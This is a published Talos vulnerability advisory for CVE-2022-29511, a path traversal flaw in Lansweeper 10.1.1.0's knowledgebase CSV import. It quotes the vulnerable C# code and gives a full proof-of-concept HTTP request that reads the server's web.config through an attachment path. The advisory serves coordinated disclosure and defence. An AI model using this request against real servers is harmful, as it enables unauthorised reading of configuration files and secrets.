Talos Vulnerability Report

TALOS-2022-1530

Lansweeper lansweeper KnowledgebasePageActions.aspx ImportArticles directory traversal vulnerability

December 1, 2022
CVE Number

CVE-2022-29511

SUMMARY

A directory traversal vulnerability exists in the KnowledgebasePageActions.aspx ImportArticles functionality of Lansweeper lansweeper 10.1.1.0. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Lansweeper lansweeper 10.1.1.0

PRODUCT URLS

lansweeper - https://www.lansweeper.com/

CVSSv3 SCORE

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

DETAILS

Lansweeper is an IT Asset Management solution that gathers hardware and software information of computers and other devices on a computer network for management, compliance and audit purposes.

An exploitable directory traversal vulnerability is related with an action: Knowledgebase -> Import Articles and is located inside the \LS\WS\KnowledgebasePageActions.cs file. Let us take a close look at the vulnerable source code :

Line 1 	private static void ImportArticles()
Line 2 	{
Line 3 		General.ValidateCsrf();
Line 4 		HttpContext current = HttpContext.Current;
Line 5 		string text = "";
Line 6 		bool flag = false;
Line 7 		HttpPostedFile httpPostedFile = current.Request.Files[0];
Line 8 		string text2 = "";
Line 9 		List<string[]> list = new List<string[]>();
Line 10		current.Response.Clear();
Line 11		int num = 0;
Line 12		List<int> list2 = new List<int>();
Line 13		Dictionary<int, string> dictionary = new Dictionary<int, string>();
Line 14		List<int> list3 = new List<int>();
Line 15		if (httpPostedFile.ContentLength > 0)
Line 16		{
Line 17			try
Line 18			{
Line 19				if (Path.GetExtension(httpPostedFile.FileName).ToLower() != ".csv")
Line 20				{
Line 21					text2 += "Only file extension .csv allowed.";
Line 22					throw new CustomException(text2);
Line 23				}
Line 24				using (Stream stream = httpPostedFile.InputStream)
Line 25				{
Line 26					list = General.ParseCSV(stream, -1);
Line 27				}		
Line 28				string category = list[0][0].ToLower().Trim();
Line 29				string title = list[0][1].ToLower().Trim();
Line 30				string text3 = list[0][2].ToLower().Trim();
Line 31				string file_attachments = list[0][3].ToLower().Trim();
Line 35				if (!(category == "category") || !(title == "title") || !(file_attachments == "attachments") || !(text3 == "text"))
Line 36				{
Line 37					throw new ArgumentException("The CSV-file has a wrong format.");
Line 38				}
Line 39			(...)			
Line 40			
Line 41					for (int j = 1; j < list.Count; j++)
Line 42					{
Line 43						try
Line 44						{
Line 45							category = list[j][0];
Line 46							title = HtmlSanitizer.SanitizeHtml(list[j][1]);
Line 47							text3 = HtmlSanitizer.SanitizeHtml(list[j][2]);
Line 48							file_attachments = list[j][3];
Line 50							List<string> file_attachments_array = file_attachments.Split(new string[1] { "|" }, StringSplitOptions.RemoveEmptyEntries).ToList();
Line 55							foreach (string file_path in file_attachments_array)
Line 56							{
Line 57								SaveImportFile(file_path, id);
Line 58							}				
Line 59		
Line 60			(...)
Line 61						private static void SaveImportFile(string filePath, int id)
Line 62						{
Line 63							General.ValidateCsrf();
Line 64							int num = 0;
Line 65							using (FileStream stream = File.OpenRead(filePath))
Line 66							{
Line 67								num = GlobalActions.SaveImage(stream);
Line 68							}

The Import Articles functionality allows a user to upload a CSV formatted file with the following entries:

Category,Title,Text,Attachments	

Where attachments can contain a path to the file located on the server, which should be copied and be available through the web interface as an integral part of imported article line 31. The lansweeper web interface suggests that a file pointed in such way should be available to the “Everyone” group on the server. Unfortunately, it is hard to find any privilege drop or privilege check before a pointed file is read. file_path is not sanitized, which gives the possibility to an attacker to read any file located on the server lines 55-68.

Exploit Proof of Concept

REQUEST

POST /Knowledgebase/KnowledgebasePageActions.aspx?action=importarticles HTTP/1.1
Host: 192.168.0.102:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------376375159424554480053455199395
Content-Length: 656
Origin: http://192.168.0.102:81
Connection: close
Referer: http://192.168.0.102:81/Knowledgebase/KnowledgebaseOptions/ImportKnowledgebase.aspx
Cookie: UserSettings=language=1; ASP.NET_SessionId=ke33dhy3jtng0hcwed2fe5av; custauth=username=hacker&userdomain=; __RequestVerificationToken_Lw__=zP2evPOU4gLNF/pF3R1XPsIP7ceImHsHKoqy7GfYwDnIwHnDJKt3r5+0bFTXNS/XpEAiyEFBVT2ekfSLIPgVMULtvi8Ae4qLSYcUO0UH90vcERUKMi72E3I2yEJexWSyNKlA8gcXlfMPYbc0a94Dji44b2cNn4aS0KGOSUQBn/0=

-----------------------------376375159424554480053455199395
Content-Disposition: form-data; name="importFile"; filename="test.csv"
Content-Type: text/csv

Category,Title,Text,Attachments
Lansweeper,SPECIAL2,Some description.,"c:\Program Files (x86)\Lansweeper\Website\web.config" 

-----------------------------376375159424554480053455199395
Content-Disposition: form-data; name="__RequestVerificationToken"

WBGmiL05NSOQqPgcOXOfecOQiG9Std6V3tZBBrMAn3AGkU9n5BFgUrwIrtqFgqOCZJmDxAAusQvUTxBcjyuB67bKT2ra2w+zjMjHiP9cac/I2zGI16E9a5zXnIWBm+2TS2ni776KRYyWqd36Km1eqMOMraOXjhdv8hXXuf2PjMU=
-----------------------------376375159424554480053455199395--

RESPONSE

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
x-frame-options: SAMEORIGIN
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 07 Jun 2022 15:58:27 GMT
Connection: close
Content-Length: 92

{ "error":false, "rowerrors" : [] , "message":"", "success":1, "failure":0, "failedRows":""}
TIMELINE

2022-06-27 - Vendor Disclosure
2022-11-29 - Vendor Patch Release
2022-12-01 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.